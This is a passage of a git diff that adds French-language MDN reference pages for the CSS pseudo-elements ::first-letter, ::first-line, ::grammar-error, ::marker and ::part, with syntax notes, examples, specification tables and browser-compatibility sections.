+   <td>{{Spec2("WebVTT")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("css.selectors.cue")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/WebVTT_API">Web Video Tracks Format (WebVTT)</a></li>
+</ul>
diff --git a/files/fr/web/css/_doublecolon_first-letter/index.html b/files/fr/web/css/_doublecolon_first-letter/index.html
new file mode 100644
index 0000000000..be24b0b651
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_first-letter/index.html
@@ -0,0 +1,143 @@
+---
+title: '::first-letter'
+slug: 'Web/CSS/::first-letter'
+tags:
+  - CSS
+  - Pseudo-element
+  - Reference
+translation_of: 'Web/CSS/::first-letter'
+---
+<div>{{CSSRef}}</div>
+
+<p>Le <a href="/fr/docs/Web/CSS/Pseudo-éléments">pseudo-élément</a> <strong><code>::first-letter</code></strong> sélectionne la première lettre de la première ligne d'un bloc, si elle n'est pas précédée par un quelconque autre contenu (comme une image ou un tableau en ligne) sur sa ligne.</p>
+
+<pre class="brush: css no-line-numbers">/* Sélectionne la première lettre */
+/* d'un élément &lt;p&gt; */
+p::first-letter {
+  color: red;
+  font-size: 130%;
+}</pre>
+
+<p>La première lettre d'un élément n'est pas forcément évidente à identifier :</p>
+
+<ul>
+ <li>La ponctuation, c'est-à-dire n'importe quel caractère défini dans une des classes Unicode <em lang="en">open</em> (Ps), <em lang="en">close</em> (Pe), <em lang="en">initial quote</em> (Pi), <em lang="en">final quote</em> (Pf) et <em lang="en">other punctuation</em> (Po) , précédant ou suivant immédiatement la première lettre est aussi sélectionnée par ce pseudo-élément.</li>
+ <li>D'autre part, certaines langues possèdent des digraphes qui sont mis en majuscule ensemble, comme le <code>IJ</code> en néerlandais. Dans ces rares cas, les deux lettres du digraphes doivent être sélectionnées par le pseudo-élément <code>::first-letter</code>. (Ceci est mal supporté par les navigateurs, reportez vous au <a href="/fr/CSS/::first-letter#Compatibilité_des_navigateurs">tableau de compatibilité des navigateurs</a>).</li>
+ <li>Enfin, une combinaison du pseudo-élément {{cssxref("::before")}} et de la propriété {{cssxref("content")}} peut injecter du texte au début de l'élément. Dans ce cas, <code>::first-letter</code> sélectionnera la première lettre du contenu inséré.</li>
+</ul>
+
+<p>Une première ligne n'a de signification que dans une <a href="/fr/docs/Web/Guide/CSS/Visual_formatting_model#Block-level_elements_and_block_boxes">boîte englobante</a>, ainsi le pseudo-élément <code>::first-letter</code> n'a un effet que sur les éléments ayant une valeur {{cssxref("display")}} correspondant à <code>block</code>, <code>inline-block</code>, <code>table-cell</code>, <code>list-item</code> ou <code>table-caption</code>. Dans tous les autres cas, <code>::first-letter</code> n'a pas d'effet.</p>
+
+<h2 id="Propriétés_utilisables">Propriétés utilisables</h2>
+
+<p>Seul un petit sous-groupe de propriétés CSS peuvent être utilisées dans un bloc déclaratif contenant un sélecteur utilisant le pseudo-élément <code>::first-letter</code> :</p>
+
+<ul>
+ <li>Toutes les propriétés liées aux polices de caractère : {{cssxref("font")}}, {{cssxref("font-style")}}, {{cssxref("font-feature-settings")}}, {{cssxref("font-kerning")}}, {{cssxref("font-language-override")}}, {{cssxref("font-stretch")}}, {{cssxref("font-synthesis")}}, {{cssxref("font-variant")}}, {{cssxref("font-variant-alternates")}}, {{cssxref("font-variant-caps")}}, {{cssxref("font-variant-east-asian")}}, {{cssxref("font-variant-ligatures")}}, {{cssxref("font-variant-numeric")}}, {{cssxref("font-variant-position")}}, {{cssxref("font-weight")}}, {{cssxref("font-size")}}, {{cssxref("font-size-adjust")}}, {{cssxref("line-height")}} et {{cssxref("font-family")}}.</li>
+ <li>Toutes les propriétés liées à l'arrière-plan : {{cssxref("background")}},{{cssxref("background-color")}}, {{cssxref("background-image")}}, {{cssxref("background-clip")}}, {{cssxref("background-origin")}}, {{cssxref("background-position")}}, {{cssxref("background-repeat")}}, {{cssxref("background-size")}}, {{cssxref("background-attachment")}} et {{cssxref("background-blend-mode")}}.</li>
+ <li>Toutes les propriétés liées à <code>margin</code> : {{cssxref("margin")}}, {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}}, {{cssxref("margin-left")}}.</li>
+ <li>Toutes les propriétés liées à <code>padding</code> : {{cssxref("padding")}}, {{cssxref("padding-top")}}, {{cssxref("padding-right")}}, {{cssxref("padding-bottom")}}, {{cssxref("padding-left")}}.</li>
+ <li>Toutes les propriétés liées aux bordures : les raccourcis {{cssxref("border")}}, {{cssxref("border-style")}}, {{cssxref("border-color")}}, {{cssxref("border-width")}}, {{cssxref("border-radius")}}, {{cssxref("border-image")}}, et les propriétés détaillées.</li>
+ <li>La propriété {{cssxref("color")}} .</li>
+ <li>Les propriétés  {{cssxref("text-decoration")}}, {{cssxref("text-shadow")}}, {{cssxref("text-transform")}}, {{cssxref("letter-spacing")}}, {{cssxref("word-spacing")}} (lorsqu'approprié), {{cssxref("line-height")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-decoration-line")}}, {{cssxref("text-decoration-style")}}, {{cssxref("box-shadow")}}, {{cssxref("float")}}, {{cssxref("vertical-align")}} (seulement si <code>float</code> vaut <code>none</code>).</li>
+</ul>
+
+<p>Puisque cette liste sera complétée dans l'avenir, il est recommandé de ne pas utiliser d'autres propriétés dans un bloc de déclaration, de manière à concevoir un CSS pérenne.</p>
+
+<div class="note">Dans CSS 2, les pseudo-éléments étaient précédés d'un seul caractère deux-points. Puisque les pseudo-classes suivaient elles aussi cette convention, la distinction était impossible. Afin de résoudre ce problème, CSS 2.1 a modifié la convention des pseudo-éléments. Désormais un pseudo-élément est précédé de deux caractères deux-points, et une pseudo-classe est toujours précédée d'un seul caractère deux-points.<br>
+<br>
+Du fait que de nombreux navigateurs avaient déjà implémentés la syntaxe CSS 2 dans une version publique, tous les navigateurs supportant la syntaxe à deux caractères deux-points peuvent aussi supporter l'ancienne syntaxe à un caractère deux-points.<br>
+<br>
+Si les navigateurs anciens doivent être supportés, <code>:first-letter</code> est le seul choix viable. Sinon, la syntaxe <code>::first-letter</code> doit être privilégiée.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans cet exemple, on prend la première lettre de chaque paragraphe et on l'affiche en rouge et en gros.</p>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p::first-letter {
+  color: red;
+  font-size: 130%;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt
+  ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo
+  dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est. Lorem ipsum dolor
+  sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy amet.&lt;/p&gt;
+&lt;p&gt;Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat.&lt;/p&gt;
+&lt;p&gt;Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut
+  aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit
+  esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et
+  iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait
+  nulla facilisi.&lt;/p&gt;
+&lt;p&gt;-The beginning of a special punctuation mark.&lt;/p&gt;
+&lt;p&gt;_The beginning of a special punctuation mark.&lt;/p&gt;
+&lt;p&gt;"The beginning of a special punctuation mark.&lt;/p&gt;
+&lt;p&gt;'The beginning of a special punctuation mark.&lt;/p&gt;
+&lt;p&gt;*The beginning of a special punctuation mark.&lt;/p&gt;
+&lt;p&gt;#The beginning of a special punctuation mark.&lt;/p&gt;
+&lt;p&gt;「特殊的汉字标点符号开头。&lt;/p&gt;
+&lt;p&gt;《特殊的汉字标点符号开头。&lt;/p&gt;
+&lt;p&gt;“特殊的汉字标点符号开头。&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', '80%', 420)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Spécification</th>
+   <th>Statut</th>
+   <th>Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Pseudo-Elements', '#first-letter-pseudo', '::first-letter')}}</td>
+   <td>{{Spec2('CSS4 Pseudo-Elements')}}</td>
+   <td>Généralisation des propriétés permises pour la mise en forme du texte et des popriétés de mise en page en-ligne, {{cssxref("opacity")}} et {{cssxref("box-shadow")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Text Decoration', '#text-shadow', 'text-shadow avec ::first-letter')}}</td>
+   <td>{{Spec2('CSS3 Text Decoration')}}</td>
+   <td>Autorise l'usage de {{cssxref("text-shadow")}} avec <code>::first-letter</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#first-letter', '::first-letter')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Définition des cas limites comme les listes, ou les comportement spécifiques à certaines langues (comme le digraphe néerlandais <code>IJ</code>).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html#first-letter', '::first-letter')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#the-first-letter-pseudo-element', '::first-letter')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>La définition initiale utilisait la syntaxe à un caractère deux-points.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.first-letter")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("::first-line")}}</li>
+</ul>
diff --git a/files/fr/web/css/_doublecolon_first-line/index.html b/files/fr/web/css/_doublecolon_first-line/index.html
new file mode 100644
index 0000000000..55e30bf773
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_first-line/index.html
@@ -0,0 +1,161 @@
+---
+title: '::first-line (:first-line)'
+slug: 'Web/CSS/::first-line'
+tags:
+  - CSS
+  - Pseudo-element
+  - Reference
+translation_of: 'Web/CSS/::first-line'
+---
+<div>{{CSSRef}}</div>
+
+<p>Le <a href="/fr/docs/Web/CSS/Pseudo-éléments">pseudo-élément</a> <strong><code>::first-line</code></strong> applique la décoration à la première ligne d'un élément. La quantité de texte sur la première ligne dépend de nombreux facteurs, comme la largeur des éléments ou du document, mais aussi de la taille du texte. Comme tous les pseudo-éléments, les sélecteurs contenant <code>::first-line</code> ne ciblent pas un élément HTML réel.</p>
+
+<pre class="brush: css no-line-numbers">/* Sélectionne la première ligne */
+/*  d'un élément &lt;p&gt; */
+::first-line {
+  color: red;
+  text-transform: uppercase;
+}</pre>
+
+<p>Une première ligne n'a de sens que dans une <a href="/fr/docs/CSS/Visual_formatting_model#Block-level_elements_and_block_boxes">boîte de type bloc</a>, et ainsi le pseudo-élément <code>::first-line</code> n'a d'effet que sur les éléments dont {{cssxref("display")}} à une valeur de <code>block</code>, <code>inline-block</code>, <code>table-cell</code> ou <code>table-caption</code>. Dans tous les autres cas, <code>::first-line</code> n'a pas d'effet.</p>
+
+<h2 id="Propriétés_utilisables">Propriétés utilisables</h2>
+
+<p>Seul un sous-ensemble de propriétés CSS peut être utilisé dans un bloc de déclaration contenant un sélecteur CSS utilisant le pseudo-élément <code>::first-line</code> :</p>
+
+<ul>
+ <li>Toutes les propriétés liées aux polices de caractères : {{cssxref("font")}}, {{cssxref("font-kerning")}}, {{cssxref("font-style")}}, {{cssxref("font-variant")}}, {{cssxref("font-variant-numeric")}}, {{cssxref("font-variant-position")}}, {{cssxref("font-variant-east-asian")}}, {{cssxref("font-variant-caps")}}, {{cssxref("font-variant-alternates")}}, {{cssxref("font-variant-ligatures")}}, {{cssxref("font-synthesis")}}, {{cssxref("font-feature-settings")}}, {{cssxref("font-language-override")}}, {{cssxref("font-weight")}}, {{cssxref("font-size")}}, {{cssxref("font-size-adjust")}}, {{cssxref("font-stretch")}} et {{cssxref("font-family")}}</li>
+ <li>La propriété {{cssxref("color")}}</li>
+ <li>Toutes les propriétés liées à l'arrière-plan : {{cssxref("background-color")}}, {{cssxref("background-clip")}}, {{cssxref("background-image")}}, {{cssxref("background-origin")}}, {{cssxref("background-position")}}, {{cssxref("background-repeat")}}, {{cssxref("background-size")}},  {{cssxref("background-attachment")}} et {{cssxref("background-blend-mode")}}</li>
+ <li>{{cssxref("word-spacing")}}, {{cssxref("letter-spacing")}}, {{cssxref("text-decoration")}}, {{cssxref("text-transform")}} et {{cssxref("line-height")}}</li>
+ <li>{{cssxref("text-shadow")}}, {{cssxref("text-decoration")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-decoration-line")}}, {{cssxref("text-decoration-style")}} et {{cssxref("vertical-align")}}.</li>
+</ul>
+
+<p>Comme cette liste sera étendue dans le futur, il est recommandé de ne pas utiliser d'autres propriétés dans un bloc de déclaration, de manière à ce que le CSS reste pérenne.</p>
+
+<div class="note">Dans CSS 2, les pseudo-éléments étaient précédés d'un seul caractère deux-points. Comme les pseudo-classes utilisaient aussi la même convention, ils n'était pas possible de les distinguer. Afin de résoudre cela, CSS 2.1 à changé la convention des pseudo-éléments. Désormais, un pseudo-élément est précédé de deux caractères deux-points, et une pseudo-classe d'un seul.<br>
+<br>
+Puisque de nombreux navigateurs avaient déjà mis en place la version CSS 2 dans une version publique, tous les navigateurs supportent les deux syntaxes.<br>
+<br>
+Si les navigateurs anciens doivent être supportés, <code>:first-line</code> est le seul choix viable ; sinon<code>,::first-line</code> est préféré.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="text-transform"><code>text-transform</code></h3>
+
+<p>Toutes les lettres de la première ligne de chaque paragraphe sont en majuscules.</p>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">p::first-line {
+  text-transform: uppercase;
+}</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;
+  Lorem ipsum dolor sit amet, consectetur adipisicing elit,
+  sed do eiusmod tempor incididunt ut labore.
+&lt;/p&gt;</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample('text-transform', 250, 100)}}</p>
+
+<h3 id="margin-left"><code>margin-left</code></h3>
+
+<p>Ici, l'effet est nul car <code>margin-left</code> ne peut pas être appliquée sur ce pseudo-élément.</p>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">p::first-line {
+  margin-left: 20px;
+}</pre>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;
+  Lorem ipsum dolor sit amet, consectetur adipisicing elit,
+  sed do eiusmod tempor incididunt ut labore.
+&lt;/p&gt;</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample('margin-left', 250, 100)}}</p>
+
+<h3 id="text-indent"><code>text-indent</code></h3>
+
+<p>Là encore, l'effet est nul, <code>text-indent</code> ne peut pas être appliqué sur ce pseudo-élément.</p>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css">p::first-line {
+  text-indent: 20px;
+}</pre>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;
+  Lorem ipsum dolor sit amet, consectetur adipisicing elit,
+  sed do eiusmod tempor incididunt ut labore.
+&lt;/p&gt;</pre>
+
+<h4 id="Résultat_3">Résultat</h4>
+
+<p>{{EmbedLiveSample('text-indent', 250, 100)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Pseudo-Elements', '#first-line-pseudo', '::first-line')}}</td>
+   <td>{{Spec2('CSS4 Pseudo-Elements')}}</td>
+   <td>La définition est affinée pour indiquer où ce pseudo-élément peut correspondre. Les propriétés possibles sont généralisées (fontes, décoration, disposition en ligne et {{cssxref("opacity")}}). Définit l'héritage de <code>::first-letter</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Text Decoration', '#text-shadow', 'text-shadow with ::first-line')}}</td>
+   <td>{{Spec2('CSS3 Text Decoration')}}</td>
+   <td>La propriété {{cssxref("text-shadow")}} peut être utilisée avec <code>::first-letter</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#first-line', '::first-line')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>La définition de « première ligne » a été reformulée. La syntaxe utilise désormais deux fois le caractère deux-points.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html#first-line-pseudo', '::first-line')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#the-first-line-pseudo-element', '::first-line')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>La définition initiale qui utilise la syntaxe avec un seul caractère deux-points.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.first-line")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("::first-letter")}}</li>
+</ul>
diff --git a/files/fr/web/css/_doublecolon_grammar-error/index.html b/files/fr/web/css/_doublecolon_grammar-error/index.html
new file mode 100644
index 0000000000..666687330d
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_grammar-error/index.html
@@ -0,0 +1,84 @@
+---
+title: '::grammar-error'
+slug: 'Web/CSS/::grammar-error'
+tags:
+  - CSS
+  - Experimental
+  - Pseudo-element
+  - Reference
+translation_of: 'Web/CSS/::grammar-error'
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>Le pseudo-élément CSS <strong><code>::grammar-error</code></strong> représente une portion de texte que le navigateur signale comme contenant une ou plusieurs erreurs de grammaire.</p>
+
+<pre class="brush: css no-line-numbers">::grammar-error {
+  color: green;
+}</pre>
+
+<h2 id="Propriétés_autorisées">Propriétés autorisées</h2>
+
+<p>Seul un sous-ensemble restreint de propriétés CSS peut être utilisé dans une règle contenant <code>::grammar-error</code> :</p>
+
+<ul>
+ <li>{{cssxref("background-color")}},</li>
+ <li>{{cssxref("caret-color")}},</li>
+ <li>{{cssxref("color")}},</li>
+ <li>{{cssxref("cursor")}},</li>
+ <li>{{cssxref("outline")}} et les propriétés détaillées associées,</li>
+ <li>{{cssxref("text-decoration")}} et les propriétés détaillées associées.</li>
+ <li>{{cssxref("text-emphasis-color")}},</li>
+ <li>{{cssxref("text-shadow")}}</li>
+</ul>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">::grammar-error</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p::grammar-error { color:red }</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;
+  Alice devina tout de suite qu’il chercher l’éventail
+  et la paire de gants.
+&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","250","100")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Pseudo-Elements', '#selectordef-grammar-error', '::grammar-error')}}</td>
+   <td>{{Spec2('CSS4 Pseudo-Elements')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.grammar-error")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("::spelling-error")}}</li>
+</ul>
diff --git a/files/fr/web/css/_doublecolon_marker/index.html b/files/fr/web/css/_doublecolon_marker/index.html
new file mode 100644
index 0000000000..53b3fc1fe5
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_marker/index.html
@@ -0,0 +1,100 @@
+---
+title: '::marker'
+slug: 'Web/CSS/::marker'
+tags:
+  - CSS
+  - Experimental
+  - Pseudo-element
+  - Reference
+translation_of: 'Web/CSS/::marker'
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>Le pseudo-élément <strong><code>::marker</code></strong> représente le marqueur d'un élément d'une liste (par exemple la puce ou le numéro de l'élément d'un élément {{HTMLElement("li")}}). Ce pseudo-élément ne fonctionne que pour les éléments ou pseudo-éléments pour lesquels {{cssxref("display")}} vaut <code>list-item</code> (par défaut c'est le cas des éléments {{htmlelement("li")}} et {{htmlelement("summary")}}).</p>
+
+<pre class="brush: css no-line-numbers">::marker {
+  color: red;
+  font-size: 1.5em;
+}</pre>
+
+<h2 id="Propriétés_autorisées">Propriétés autorisées</h2>
+
+<p>Seul un sous-ensemble de propriétés CSS peuvent être utilisées pour une règle qui utilise <code>::marker</code> :</p>
+
+<ul>
+ <li>{{cssxref("color")}},</li>
+ <li>{{cssxref("text-combine-upright")}}, {{cssxref("unicode-bidi")}} et {{cssxref("direction")}}</li>
+ <li>{{cssxref("content")}}</li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Fonts">Toutes les propriétés liées aux polices (font).</a></li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> La spécification indique que d'autres propriétés CSS pourraient être prises en charge à l'avenir.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{CSSSyntax}}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">li::marker {
+  color:red;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ol&gt;
+ &lt;li&gt;Savoir lacer ses chaussures&lt;/li&gt;
+ &lt;li&gt;Et compter deux par deux.&lt;/li&gt;
+&lt;/ol&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","200","150")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Pseudo-Elements', '#marker-pseudo', '::marker')}}</td>
+   <td>{{Spec2('CSS4 Pseudo-Elements')}}</td>
+   <td>Aucune modification significative.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Lists', '#marker-pseudo', '::marker')}}</td>
+   <td>{{Spec2('CSS3 Lists')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.marker")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les éléments HTML relatifs aux listes :
+  <ul>
+   <li>{{htmlelement("ul")}}</li>
+   <li>{{htmlelement("ol")}}</li>
+   <li>{{htmlelement("li")}}</li>
+  </ul>
+ </li>
+ <li>{{htmlelement("summary")}}</li>
+</ul>
diff --git a/files/fr/web/css/_doublecolon_part/index.html b/files/fr/web/css/_doublecolon_part/index.html
new file mode 100644
index 0000000000..2d966e1fc8
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_part/index.html
@@ -0,0 +1,113 @@
+---
+title: '::part()'
+slug: 'Web/CSS/::part'
+tags:
+  - '::part'
+  - CSS
+  - Draft
+  - Exp
+  - NeedsBrowserCompatibility
+  - NeedsExample
+  - Pseudo-element
+  - Reference
+translation_of: 'Web/CSS/::part'
+---
+<div>{{CSSRef}}{{Draft}}{{SeeCompatTable}}</div>
+
+<p>Le <a href="/fr/docs/Web/CSS/Pseudo-elements">pseudo-élément</a> <a href="/fr/docs/Web/CSS">CSS</a> <strong><code>::part</code></strong> représente n’importe quel élément dans un <a href="/fr/docs/Web/Web_Components/Using_shadow_DOM">arbre fantôme</a> qui a un attribut {{HTMLAttrxRef("part")}} correspondant.</p>
+
+<pre class="brush: css no-line-numbers">custom-element::part(foo) {
+  /* Styles à appliquer à la partie `foo` */
+}
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="&lt;tabbed-custom-element>"><code>&lt;tabbed-custom-element&gt;</code></h3>
+
+<h4 id="Arbre_fantôme_&lt;tabbed-custom-element>">Arbre fantôme <code>&lt;tabbed-custom-element&gt;</code></h4>
+
+<pre class="brush: html">&lt;style type="text/css"&gt;
+  *, ::before, ::after {
+    box-sizing: border-box;
+  }
+
+  :host {
+    display: flex;
+  }
+&lt;/style&gt;
+&lt;div part="tab active"&gt;
+  Tab 1
+&lt;/div&gt;
+&lt;div part="tab"&gt;
+  Tab 2
+&lt;/div&gt;
+&lt;div part="tab"&gt;
+  Tab 3
+&lt;/div&gt;
+</pre>
+
+<h4 id="Feuille_de_style_chargée_dans_un_arbre_léger">Feuille de style chargée dans un arbre léger</h4>
+
+<pre class="brush: css">
+tabbed-custom-element::part(tab) {
+  color: #0c0c0dcc;
+  border-bottom: transparent solid 2px;
+}
+
+tabbed-custom-element::part(tab):hover {
+  background-color: #0c0c0d19;
+  border-color: #0c0c0d33;
+}
+
+tabbed-custom-element::part(tab):hover:active {
+  background-color: #0c0c0d33;
+}
+
+tabbed-custom-element::part(tab):focus {
+  box-shadow:
+    0 0 0 1px #0a84ff inset,
+    0 0 0 1px #0a84ff,
+    0 0 0 4px rgba(10, 132, 255, 0.3);
+}
+
+tabbed-custom-element::part(active tab) {
+  color: #0060df;
+  border-color: #0a84ff !important;
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">­État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS Shadow Parts", "#part", "::part")}}</td>
+   <td>{{Spec2("CSS Shadow Parts")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité présenté sur cette page est généré à partir de données structurées. Si vous désirez contribuer à ces données, veuillez visiter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une demande de récupération.</div>
+
+<p>{{Compat("css.selectors.part")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L’attribut {{HTMLAttrxRef("part")}} - Utilisé pour définir des parties qui peuvent être sélectionnées par le sélecteur <code>::part()</code></li>
+ <li>L'attribut {{HTMLattrxref("exportparts")}} qui est utilisé pour exporter les parties d'un arbre <em>shadow</em> imbriqué vers un arbre classique</li>
+ <li><a href="https://github.com/fergald/docs/blob/master/explainers/css-shadow-parts-1.md">Utilisation de CSS Shadow : <code>::part</code> et <code>::theme</code></a></li>
+</ul>
diff --git a/files/fr/web/css/_doublecolon_placeholder/index.html b/files/fr/web/css/_doublecolon_placeholder/index.html
new file mode 100644
index 0000000000..70ba6c1830
--- /dev/null
+++ b/files/fr/web/css/_doublecolon_placeholder/index.html
